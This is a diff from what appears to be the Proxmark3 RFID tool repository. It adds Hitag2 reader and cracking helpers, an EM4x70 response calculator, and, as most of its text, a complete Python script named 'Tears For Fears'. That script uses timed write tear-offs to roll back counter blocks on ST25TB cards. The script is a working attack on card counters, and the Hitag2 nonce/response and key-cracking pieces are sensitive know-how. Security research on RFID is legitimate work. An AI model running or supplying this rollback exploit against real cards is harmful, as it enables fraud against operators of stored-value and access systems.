"-h, --help This help", "-h, --help This help",
"--nrar <hex> specify nonce / answer as 8 hex bytes" "--nrar <hex> specify nonce / answer as 8 hex bytes"
], ],
"usage": "lf hitag lookup [-h] [--nrar <hex>]" "usage": "lf hitag crack2 [-h] [--nrar <hex>]"
}, },
"lf hitag dump": { "lf hitag dump": {
"command": "lf hitag dump", "command": "lf hitag dump",
@ -9653,6 +9672,20 @@
], ],
"usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]" "usage": "lf hitag read [-hs2] [--pwd] [--nrar <hex>] [--crypto] [-k <hex>]"
}, },
"lf hitag reader": {
"command": "lf hitag reader",
"description": "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed",
"notes": [
"lf hitag reader",
"lf hitag reader -@ -> Continuous mode"
],
"offline": false,
"options": [
"-h, --help This help",
"-@ continuous reader mode"
],
"usage": "lf hitag reader [-h@]"
},
"lf hitag sim": { "lf hitag sim": {
"command": "lf hitag sim", "command": "lf hitag sim",
"description": "Simulate Hitag transponder You need to `lf hitag eload` first", "description": "Simulate Hitag transponder You need to `lf hitag eload` first",
@ -12699,8 +12732,8 @@
} }
}, },
"metadata": { "metadata": {
"commands_extracted": 735, "commands_extracted": 737,
"extracted_by": "PM3Help2JSON v1.00", "extracted_by": "PM3Help2JSON v1.00",
"extracted_on": "2024-05-14T08:02:41" "extracted_on": "2024-05-27T13:38:05"
} }
} }

View file

@ -979,6 +979,7 @@ Check column "offline" for their availability.
|`lf em 4x70 auth `|N |`Authenticate EM4x70` |`lf em 4x70 auth `|N |`Authenticate EM4x70`
|`lf em 4x70 setpin `|N |`Write PIN` |`lf em 4x70 setpin `|N |`Write PIN`
|`lf em 4x70 setkey `|N |`Write key` |`lf em 4x70 setkey `|N |`Write key`
|`lf em 4x70 calc `|Y |`Calculate EM4x70 challenge and response`
|`lf em 4x70 recover `|Y |`Recover remaining key from partial key` |`lf em 4x70 recover `|Y |`Recover remaining key from partial key`
|`lf em 4x70 autorecover `|N |`Recover entire key from writable tag` |`lf em 4x70 autorecover `|N |`Recover entire key from writable tag`
@ -1046,6 +1047,7 @@ Check column "offline" for their availability.
|`lf hitag help `|Y |`This help` |`lf hitag help `|Y |`This help`
|`lf hitag list `|Y |`List Hitag trace history` |`lf hitag list `|Y |`List Hitag trace history`
|`lf hitag info `|N |`Hitag 2 tag information` |`lf hitag info `|N |`Hitag 2 tag information`
|`lf hitag reader `|N |`Act line an Hitag 2 reader`
|`lf hitag test `|Y |`Perform self tests` |`lf hitag test `|Y |`Perform self tests`
|`lf hitag dump `|N |`Dump Hitag 2 tag` |`lf hitag dump `|N |`Dump Hitag 2 tag`
|`lf hitag read `|N |`Read Hitag memory` |`lf hitag read `|N |`Read Hitag memory`

View file

@ -127,7 +127,7 @@ Here are the supported values you can assign to `STANDALONE` in `Makefile.platfo
| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous | HF_14ASNIFF | 14a sniff storing to flashmem - Micolous
| HF_14BSNIFF | 14b sniff - jacopo-j | HF_14BSNIFF | 14b sniff - jacopo-j
| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser | HF_15SNIFF | 15693 sniff storing to flashmem - Glaser
| HF_15SNIFF | 15693 simulator - lnv42 | HF_15SIM | 15693 simulator - lnv42
| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal | HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito | HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito
| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins | HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins

View file

@ -59,7 +59,7 @@ typedef struct {
typedef struct { typedef struct {
int status; int status;
uint8_t data[48]; uint8_t data[256];
} PACKED lf_hitag_crack_response_t; } PACKED lf_hitag_crack_response_t;
//--------------------------------------------------------- //---------------------------------------------------------

View file

@ -705,21 +705,28 @@ int main(int argc, char **argv) {
// show buidlog in case of error // show buidlog in case of error
// todo: only for device models // todo: only for device models
unsigned int build_errors = 0; unsigned int build_errors = 0;
unsigned int build_logs = 0; // unsigned int build_logs = 0;
cl_command_queue_properties queue_properties = 0; cl_command_queue_properties queue_properties = 0;
if (opencl_profiling) queue_properties = CL_QUEUE_PROFILING_ENABLE; if (opencl_profiling) {
queue_properties = CL_QUEUE_PROFILING_ENABLE;
}
// setup, phase 1 // setup, phase 1
z = 0; // dolphin z = 0; // dolphin
for (w = 0; w < ocl_platform_cnt; w++) { for (w = 0; w < ocl_platform_cnt; w++) {
if (!cd_ctx[w].selected) continue; if (!cd_ctx[w].selected) {
continue;
}
for (q = 0; q < cd_ctx[w].device_cnt; q++) { for (q = 0; q < cd_ctx[w].device_cnt; q++) {
if (!cd_ctx[w].device[q].selected) continue;
if (!cd_ctx[w].device[q].selected) {
continue;
}
ctx.device_ids[z] = cd_ctx[w].device[q].device_id; ctx.device_ids[z] = cd_ctx[w].device[q].device_id;
@ -860,7 +867,7 @@ int main(int argc, char **argv) {
free(buffer); free(buffer);
build_logs++; // build_logs++;
#if DEBUGME == 0 #if DEBUGME == 0
continue; // todo: evaluate this, one or more can be broken, so continue continue; // todo: evaluate this, one or more can be broken, so continue
#endif #endif

View file

@ -109,7 +109,17 @@ def hitag2(state, length=48):
if __name__ == "__main__": if __name__ == "__main__":
import sys import sys
if len(sys.argv) == 4: if len(sys.argv) == 4:
key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16)
n = int(sys.argv[3])
for i in range(n):
nonce = random.randrange(2**32)
state = hitag2_init(key, uid, nonce)
print('%08X %08X' % (nonce, hitag2(state, 32) ^ 0xffffffff))
elif len(sys.argv) == 5:
key = int(sys.argv[1], 16) key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16) uid = int(sys.argv[2], 16)
n = int(sys.argv[3]) n = int(sys.argv[3])

View file

@ -0,0 +1,553 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#+---------------------------------------------------------------------------+
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
#+---------------------------------------------------------------------------+
#| Copyright (C) Pierre Granier - 2024 |
#| |
#| This program is free software: you can redistribute it and/or modify |
#| it under the terms of the GNU General Public License as published by |
#| the Free Software Foundation, either version 3 of the License, or |
#| (at your option) any later version. |
#| |
#| This program is distributed in the hope that it will be useful, |
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
#| GNU General Public License for more details. |
#| |
#| You should have received a copy of the GNU General Public License |
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
#+---------------------------------------------------------------------------+
#
# Ref:
# https://gitlab.com/SiliconOtter/tears4fears
#
import argparse
from queue import Queue, Empty
import re
from subprocess import Popen, PIPE
from time import sleep
from threading import Thread
PM3_SUBPROC = None
PM3_SUBPROC_QUEUE = None
class colors:
reset = '\033[0m'
bold = '\033[01m'
disable = '\033[02m'
underline = '\033[04m'
reverse = '\033[07m'
strikethrough = '\033[09m'
invisible = '\033[08m'
purple = '\033[35m'
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
lightred = '\033[91m'
lightgreen = '\033[92m'
lightblue = '\033[94m'
def main():
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
parser = argparse.ArgumentParser()
parser.add_argument("-s",
"--strat",
type=int,
nargs="?",
const="1",
default="1",
dest="strategy",
help="Strategy to use (default 1)")
parser.add_argument("-b",
"--block",
type=int,
nargs="?",
const="-1",
default="-1",
required=True,
dest="target_block",
help="Target Block")
parser.add_argument("-p",
"--pm3-client",
type=str,
default="pm3",
dest="pm3_path",
help="pm3 client path")
args = parser.parse_args()
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
PM3_SUBPROC_QUEUE = Queue()
thread = Thread(target=enqueue_output,
args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
thread.start()
if args.target_block != -1:
tear_for_fears(args.target_block, args.strategy)
else:
parser.error("--block is required ")
sub_com('exit')
thread.join()
def enqueue_output(out, queue):
"""Continuously read PM3 client stdout and fill a global queue
Args:
out: stdout of PM3 client
queue: where to push "out" content
"""
for line in iter(out.readline, b""):
queue.put(line)
out.close()
def sub_com(command, func=None, sleep_over=0):
"""Send command to aPM3 client
Args:
command: String of the command to send
func: hook for a parsing function on the pm3 command end
Returns:
result of the hooked function if any
"""
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
result = None
sleep(sleep_over)
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
if func:
while not result:
try:
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
except Empty:
PM3_SUBPROC.stdin.write(bytes(
(command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
return result
def set_space(space):
"""Placeholder for instrumentalization or do it manually
Args:
space: distance needed
Returns:
"""
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
def parse_rdbl(str_to_parse):
"""Return a list of str of a block from pm3 output
Uses `rbdl` in pm3 client
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
if tmp:
# print(tmp)
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
return None
def parse_UID(str_to_parse):
"""Return a card UID from pm3 output
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
if tmp:
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
return None
def slist_to_int(list_source):
"""Return the int value associated to a bloc list of string
Args:
list_source: list to convert
Returns:
represented int
"""
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
def int_to_slist(src):
"""Return the list of string from the int value associated to a block
Args:
src: int to convert
Returns:
list of string
"""
list_dest = list()
for i in range(4):
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
return list_dest
def ponderated_read(b_num, repeat_read, sleep_over):
"""read a few times a block and give a pondered dictionary
Args:
b_num: block number to read
Returns:
dictionary (key: int, value: number of occurrences)
"""
weight_r = dict()
for _ in range(repeat_read):
# sleep_over=0 favorize read at 0
# (and allow early discovery of weak bits)
result = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}",
parse_rdbl,
sleep_over=sleep_over))
if result in weight_r:
weight_r[result] += 1
else:
weight_r[result] = 1
return weight_r
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
"""
Args:
b_num: block number
stop: last tearing timing
"""
# Sending RAW writes because `wrbl` spend additionnal time checking success
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
set_space(1)
dic = ponderated_read(b_num, repeat_read, sleep_over)
for value, occur in dic.items():
indic = colors.reset
if value > original_value:
indic = colors.purple
elif value < original_value:
indic = colors.lightblue
print(
f"{(occur / repeat_read) * 100} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
target = max(dic)
read_back = 0
# There is no ACK for write so we use a read to check distance coherence
if target > (original_value):
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
f"\nKeep card at the max distance from the reader.\n")
while (read_back != (target - 1)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 1)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
while (read_back != (target - 2)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 2)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
set_space(0)
def strat_1_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 1 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 30
# Check for leverageable bits positions,
# Start from bit 32, while their is no bit at 1 decrement position
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable pair of bits at 1,
# While their is bits at 1, decrement position
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
return (trigger_value, payload_value)
def strat_2_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 2 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 31
# Check for leverageable bit position,
# Start from bit 32, while their is no bit at 1 decrement position
while not (original_value & (0b1 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable bit at 1,
# While their is bits at 1, decrement position
while (original_value & (0b1 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
return (trigger_value, payload_value)
def tear_for_fears(b_num, strategy):
"""try to roll back `b_num` counter using `strategy`
Args:
b_num: block number
"""
################################################################
######### You may want to play with theses parameters #########
start_taring_delay = 130
repeat_read = 8
repeat_write = 5
sleep_quick = 0
sleep_long = 0.3
################################################################
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
tmp = ponderated_read(b_num, repeat_read, sleep_long)
original_value = max(tmp, key=tmp.get)
if strategy == 1:
leverageable_values = strat_1_values(original_value)
else:
leverageable_values = strat_2_values(original_value)
if leverageable_values is None:
print(
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
return
else:
(trigger_value, payload_value) = leverageable_values
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
f" : { bin(trigger_value)[2:].zfill(32)}")
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
f" : { bin(payload_value)[2:].zfill(32)}\n")
print(
f"{colors.bold}Color coding :{colors.reset}\n"
f"{colors.reset}\tValue we started with{colors.reset}\n"
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
f"{colors.purple}\tAbove initial value {colors.reset}")
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
return
trigger_flag = False
payload_flag = False
t4fears_flag = False
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
tear_us = start_taring_delay
while not trigger_flag:
for _ in range(repeat_write):
if t4fears_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
if trigger_flag:
break
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
trigger_flag = True
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
# Here we want 100% chance of having primed one sub-counter
# The logic is inverted for payload
if value > original_value:
indic = colors.purple
t4fears_flag = True
trigger_flag = False
elif value == trigger_value:
indic = colors.green
elif value < original_value:
indic = colors.lightblue
else:
trigger_flag = False
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
tear_us = start_taring_delay
while True:
for _ in range(repeat_write):
if payload_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
tmp = ponderated_read(b_num, repeat_read, sleep_long)
if max(tmp, key=tmp.get) > original_value:
print(f"{colors.bold}Success ! {colors.reset}")
return
else:
payload_flag = False
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
if value > original_value:
indic = colors.purple
payload_flag = True
elif value == payload_value:
indic = colors.green
payload_flag = True
elif value < trigger_value:
indic = colors.lightblue
elif value > trigger_value:
indic = colors.lightred
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
if __name__ == "__main__":
main()

View file

@ -256,6 +256,7 @@ while true; do
if ! CheckFileExist "MFP dictionary exists" "$DICPATH/mfp_default_keys.dic"; then break; fi if ! CheckFileExist "MFP dictionary exists" "$DICPATH/mfp_default_keys.dic"; then break; fi
if ! CheckFileExist "MFULC dictionary exists" "$DICPATH/mfulc_default_keys.dic"; then break; fi if ! CheckFileExist "MFULC dictionary exists" "$DICPATH/mfulc_default_keys.dic"; then break; fi
if ! CheckFileExist "T55XX dictionary exists" "$DICPATH/t55xx_default_pwds.dic"; then break; fi if ! CheckFileExist "T55XX dictionary exists" "$DICPATH/t55xx_default_pwds.dic"; then break; fi
if ! CheckFileExist "HITAG2 dictionary exists" "$DICPATH/ht2_default.dic"; then break; fi
echo -e "\n${C_BLUE}Testing tools:${C_NC}" echo -e "\n${C_BLUE}Testing tools:${C_NC}"
if ! CheckExecute "xorcheck test" "tools/xorcheck.py 04 00 80 64 ba" "final LRC XOR byte value: 5A"; then break; fi if ! CheckExecute "xorcheck test" "tools/xorcheck.py 04 00 80 64 ba" "final LRC XOR byte value: 5A"; then break; fi